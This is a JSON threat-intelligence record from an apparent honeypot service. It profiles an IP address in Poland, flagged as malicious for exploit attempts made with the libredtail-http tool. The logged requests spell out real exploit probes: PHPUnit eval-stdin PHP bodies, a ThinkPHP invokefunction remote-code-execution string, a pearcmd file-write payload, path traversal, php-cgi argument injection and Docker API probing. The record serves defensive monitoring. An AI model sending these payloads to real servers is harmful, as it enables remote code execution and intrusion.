{"ip":"83.168.106.26","total_events":1572,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"43 exploit-path hits","confidence":"high","network_type":"CDN","why":["43 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range."]},"first_seen":"2026-05-31T09:15:31","last_seen":"2026-07-08T13:02:35","events_24h":1,"events_7d":285,"geo":{"country_code":"PL","country_name":"Poland","region":"","city":"","lat":52.2394,"lon":21.0362,"asn":202520,"org":"SkyPass Solutions Sp. z.o.o."},"source_domain":"hosted-by.skillhost.pl","known_scanners":[],"scanner_tag":{"key":"peeringdb:as202520","label":"SkyPass Solutions","category":"cdn","url":"https://www.peeringdb.com/asn/202520"},"cve_matches":[{"cve_id":"CVE-2021-41097","title":"Aurelia-Path < 1.1.7 - Prototype Pollution","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/blog"},{"cve_id":"CVE-2026-55592","title":"Dashy <= 4.3.6 - Reflected XSS via Workspace","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/workspace"}],"malware":[],"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":782},{"port":443,"proto":"tcp","label":"HTTPS","count":736},{"port":2222,"proto":"tcp","label":"SSH-alt","count":19},{"port":2375,"proto":"tcp","label":"Docker","count":19},{"port":22,"proto":"tcp","label":"SSH","count":16}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_ja3":["7041540a5e44ce9a1d4200c4214355aa"],"ja4h":["ge11nn0500_36cc78c039d7","po11nn0700_c5a94e7539c9","ge11nn0700_c5a94e7539c9"]},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":199,"ge11nn0500_36cc78c039d7":356,"po11nn0700_c5a94e7539c9":260,"ge11nn0700_c5a94e7539c9":247,"19532158b559096b89b1a5f7d17175b2":243},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-05-31","count":49},{"date":"2026-06-01","count":46},{"date":"2026-06-02","count":47},{"date":"2026-06-03","count":1},{"date":"2026-06-04","count":1},{"date":"2026-06-05","count":48},{"date":"2026-06-06","count":47},{"date":"2026-06-07","count":49},{"date":"2026-06-08","count":47},{"date":"2026-06-09","count":1},{"date":"2026-06-10","count":47},{"date":"2026-06-11","count":48},{"date":"2026-06-12","count":93},{"date":"2026-06-14","count":49},{"date":"2026-06-15","count":46},{"date":"2026-06-16","count":4},{"date":"2026-06-17","count":48},{"date":"2026-06-18","count":47},{"date":"2026-06-19","count":1},{"date":"2026-06-20","count":47},{"date":"2026-06-21","count":48},{"date":"2026-06-22","count":93},{"date":"2026-06-23","count":94},{"date":"2026-06-24","count":1},{"date":"2026-06-26","count":95},{"date":"2026-06-28","count":95},{"date":"2026-06-29","count":48},{"date":"2026-06-30","count":47},{"date":"2026-07-01","count":1},{"date":"2026-07-02","count":46},{"date":"2026-07-03","count":94},{"date":"2026-07-04","count":47},{"date":"2026-07-05","count":47},{"date":"2026-07-06","count":2},{"date":"2026-07-07","count":47},{"date":"2026-07-08","count":1}],"recent_events":[{"timestamp":"2026-07-08T13:02:35","port":2375,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:2375\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a323337350d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","community_id":"1:nNg6hS3Uov/2yadqnrXwUoRubWU=","ja3":"","session":"4cb387bb-ab1a-4726-81c1-6d6ecbfeb48b","seq":1,"duration_ms":100,"bytes_in":156,"bytes_out":78},{"timestamp":"2026-07-07T13:18:55","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","community_id":"1:PDGqfZd8m5qmxM/ZCTqB5PyrXG4=","ja3":"","session":"5740234b-a393-4667-b814-dc3d9522cab6","seq":46,"duration_ms":4923,"bytes_in":12873,"bytes_out":3588},{"timestamp":"2026-07-07T13:18:55","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","community_id":"1:PDGqfZd8m5qmxM/ZCTqB5PyrXG4=","ja3":"","session":"5740234b-a393-4667-b814-dc3d9522cab6","seq":45,"duration_ms":4817,"bytes_in":12719,"bytes_out":3510},{"timestamp":"2026-07-07T13:18:54","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","community_id":"1:PDGqfZd8m5qmxM/ZCTqB5PyrXG4=","ja3":"","session":"5740234b-a393-4667-b814-dc3d9522cab6","seq":44,"duration_ms":4702,"bytes_in":12531,"bytes_out":3432},{"timestamp":"2026-07-07T13:18:54","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","community_id":"1:PDGqfZd8m5qmxM/ZCTqB5PyrXG4=","ja3":"","session":"5740234b-a393-4667-b814-dc3d9522cab6","seq":43,"duration_ms":4587,"bytes_in":12273,"bytes_out":3354},{"timestamp":"2026-07-07T13:18:54","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","community_id":"1:PDGqfZd8m5qmxM/ZCTqB5PyrXG4=","ja3":"","session":"5740234b-a393-4667-b814-dc3d9522cab6","seq":42,"duration_ms":4481,"bytes_in":12025,"bytes_out":3276},{"timestamp":"2026-07-07T13:18:54","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","community_id":"1:PDGqfZd8m5qmxM/ZCTqB5PyrXG4=","ja3":"","session":"5740234b-a393-4667-b814-dc3d9522cab6","seq":41,"duration_ms":4374,"bytes_in":11784,"bytes_out":3198},{"timestamp":"2026-07-07T13:18:54","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","community_id":"1:PDGqfZd8m5qmxM/ZCTqB5PyrXG4=","ja3":"","session":"5740234b-a393-4667-b814-dc3d9522cab6","seq":40,"duration_ms":4267,"bytes_in":11512,"bytes_out":3120},{"timestamp":"2026-07-07T13:18:54","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","community_id":"1:PDGqfZd8m5qmxM/ZCTqB5PyrXG4=","ja3":"","session":"5740234b-a393-4667-b814-dc3d9522cab6","seq":39,"duration_ms":4159,"bytes_in":11239,"bytes_out":3042},{"timestamp":"2026-07-07T13:18:54","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","community_id":"1:PDGqfZd8m5qmxM/ZCTqB5PyrXG4=","ja3":"","session":"5740234b-a393-4667-b814-dc3d9522cab6","seq":38,"duration_ms":4053,"bytes_in":10964,"bytes_out":2964}],"http_methods":[{"method":"GET","count":1405},{"method":"POST","count":132}],"distinct_ports_total":5,"top_paths":[{"path":"/containers/json","count":52,"ports":3},{"path":"/vendor/phpunit/phpunit/LICENSE/eval-stdin.php","count":33,"ports":2},{"path":"/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":33,"ports":2},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":33,"ports":2},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":33,"ports":2},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":33,"ports":2},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":33,"ports":2},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":33,"ports":2},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":33,"ports":2},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":33,"ports":2},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":33,"ports":2},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":33,"ports":2},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":33,"ports":2},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":33,"ports":2},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":33,"ports":2}],"distinct_paths_total":46,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":35}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2021-41097","tag_type":"cve","title":"Aurelia-Path < 1.1.7 - Prototype Pollution","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/blog","reference_urls":["https://github.com/aurelia/path/issues/44","https://security.snyk.io/vuln/SNYK-JS-AURELIAPATH-1579475","https://nvd.nist.gov/vuln/detail/CVE-2021-41097"]},{"tag_id":"CVE-2026-55592","tag_type":"cve","title":"Dashy <= 4.3.6 - Reflected XSS via Workspace","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/workspace","reference_urls":["https://github.com/Lissy93/dashy/security/advisories/GHSA-58mp-4qr3-vmrc","https://nvd.nist.gov/vuln/detail/CVE-2026-55592"]}],"data_as_of":"2026-07-08T18:22:48.648427+00:00"}